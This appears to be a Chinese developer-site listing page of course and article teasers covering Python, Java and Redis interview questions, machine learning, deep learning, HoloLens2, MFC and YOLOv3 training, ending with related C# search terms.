董付国系列教材《Python程序设计基础》、《Python程序设计(第2版)》、《Python可以这样学》配套视频,讲解Python 3.5.x和3.6.x语法、内置对象用法、选择与循环以及函数设计与使用、lambda表达式用法、字符串与正则表达式应用、面向对象编程、文本文件与二进制文件操作、目录操作与系统运维、异常处理结构。

Java基础知识面试题(2020最新版)

文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...

机器学习实战系列套餐(必备基础+经典算法+案例实战)

机器学习实战系列套餐以实战为出发点,帮助同学们快速掌握机器学习领域必备经典算法原理并结合Python工具包进行实战应用。建议学习顺序:1.Python必备工具包:掌握实战工具 2.机器学习算法与实战应用:数学原理与应用方法都是必备技能 3.数据挖掘实战:通过真实数据集进行项目实战。按照下列课程顺序学习即可! 课程风格通俗易懂,用最接地气的方式带领大家轻松进军机器学习!提供所有课程代码,PPT与实战数据,有任何问题欢迎随时与我讨论。

Java面试题大全(2020版)

发现网上很多Java面试题都没有答案,所以花了很长时间搜集整理出来了这套Java面试题大全,希望对大家有帮助哈~ 本套Java面试题大全,全的不能再全,哈哈~ 一、Java 基础 1. JDK 和 JRE 有什么区别? JDK:Java Development Kit 的简称,java 开发工具包,提供了 java 的开发环境和运行环境。 JRE:Java Runtime Environ...

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

深度学习原理+项目实战+算法详解+主流框架(套餐)

深度学习系列课程从深度学习基础知识点开始讲解一步步进入神经网络的世界再到卷积和递归神经网络,详解各大经典网络架构。实战部分选择当下最火爆深度学习框架PyTorch与Tensorflow/Keras,全程实战演示框架核心使用与建模方法。项目实战部分选择计算机视觉与自然语言处理领域经典项目,从零开始详解算法原理,debug模式逐行代码解读。适合准备就业和转行的同学们加入学习! 建议按照下列课程顺序来进行学习 (1)掌握深度学习必备经典网络架构 (2)深度框架实战方法 (3)计算机视觉与自然语言处理项目实战。(按照课程排列顺序即可)

HoloLens2开发入门教程

本课程为HoloLens2开发入门教程,讲解部署开发环境,安装VS2019,Unity版本,Windows SDK,创建Unity项目,讲解如何使用MRTK,编辑器模拟手势交互,打包VS工程并编译部署应用到HoloLens上等。

几率大的Redis面试题(含答案)

本文的面试题如下: Redis 持久化机制 缓存雪崩、缓存穿透、缓存预热、缓存更新、缓存降级等问题 热点数据和冷数据是什么 Memcache与Redis的区别都有哪些? 单线程的redis为什么这么快 redis的数据类型,以及每种数据类型的使用场景,Redis 内部结构 redis的过期策略以及内存淘汰机制【~】 Redis 为什么是单线程的,优点 如何解决redis的并发竞争key问题 Red...

MFC一站式终极全套课程包

该套餐共包含从C小白到C++到MFC的全部课程,整套学下来绝对成为一名C++大牛!!!

【数据结构与算法综合实验】欢乐连连看(C++ & MFC)案例

这是武汉理工大学计算机学院数据结构与算法综合实验课程的第三次项目:欢乐连连看(C++ & MFC)迭代开发代码。运行环境:VS2017。已经实现功能:开始游戏、消子、判断胜负、提示、重排、计时、帮助。

YOLOv3目标检测实战:训练自己的数据集

YOLOv3是一种基于深度学习的端到端实时目标检测方法,以速度快见长。本课程将手把手地教大家使用labelImg标注和使用YOLOv3训练自己的数据集。课程分为三个小项目:足球目标检测(单目标检测)、梅西目标检测(单目标检测)、足球和梅西同时目标检测(两目标检测)。 本课程的YOLOv3使用Darknet,在Ubuntu系统上做项目演示。包括:安装Darknet、给自己的数据集打标签、整理自己的数据集、修改配置文件、训练自己的数据集、测试训练出的网络模型、性能统计(mAP计算和画出PR曲线)和先验框聚类。 Darknet是使用C语言实现的轻型开源深度学习框架,依赖少,可移植性好,值得深入探究。 除本课程《YOLOv3目标检测实战:训练自己的数据集》外,本人推出了有关YOLOv3目标检测的系列课程,请持续关注该系列的其它课程视频,包括: 《YOLOv3目标检测实战:交通标志识别》 《YOLOv3目标检测:原理与源码解析》 《YOLOv3目标检测:网络模型改进方法》 敬请关注并选择学习!

u-boot-2015.07.tar.bz2

uboot-2015-07最新代码,喜欢的朋友请拿去

相关热词 c# 开发接口 c# 中方法上面的限制 c# java 时间戳 c#单元测试入门 c# 数组转化成文本 c#实体类主外键关系设置 c# 子函数 局部 c#窗口位置设置 c# list 查询 c# 事件 执行顺序
立即提问
相关内容推荐